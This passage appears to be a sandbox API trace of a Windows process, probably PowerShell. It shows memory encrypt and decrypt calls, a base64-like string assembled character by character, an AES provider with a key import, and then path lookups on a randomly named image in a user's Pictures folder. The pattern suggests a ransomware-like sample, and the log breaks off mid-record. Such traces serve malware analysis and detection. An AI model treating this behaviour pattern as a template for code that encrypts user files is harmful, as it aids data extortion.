returned 0x0 [0135.016] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.016] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.016] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.016] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.016] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.016] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.016] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.016] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.017] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.017] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.017] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.017] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.017] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.017] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.017] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.017] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.017] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.017] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.017] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.017] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.017] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.017] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.017] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.017] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.017] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.017] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.017] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.017] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.017] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.018] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.018] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.018] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.018] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.018] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.018] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.018] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.018] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.018] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.018] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.018] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.018] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.018] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.018] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.019] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.019] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.019] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.019] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.019] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.019] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.019] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.019] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.019] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.019] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.019] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.019] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.019] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.019] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.019] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.019] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.019] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.019] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.019] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.019] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.019] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.020] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.020] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.020] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.020] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.020] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.020] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.020] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.020] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.020] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.020] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.020] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.020] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.020] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.020] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.020] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.020] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.020] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.020] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.021] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.021] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.021] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.021] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.021] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.021] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.021] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.021] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.022] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43969b0) returned 1 [0135.022] CryptImportKey (in: hProv=0x43969b0, pbData=0x6991574, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84db8) returned 1 [0135.022] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.023] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.023] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.023] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.023] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.023] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg")) returned 0x20 [0135.023] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg")) returned 0x20 [0135.023] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.023] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.023] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.023] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.024] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, 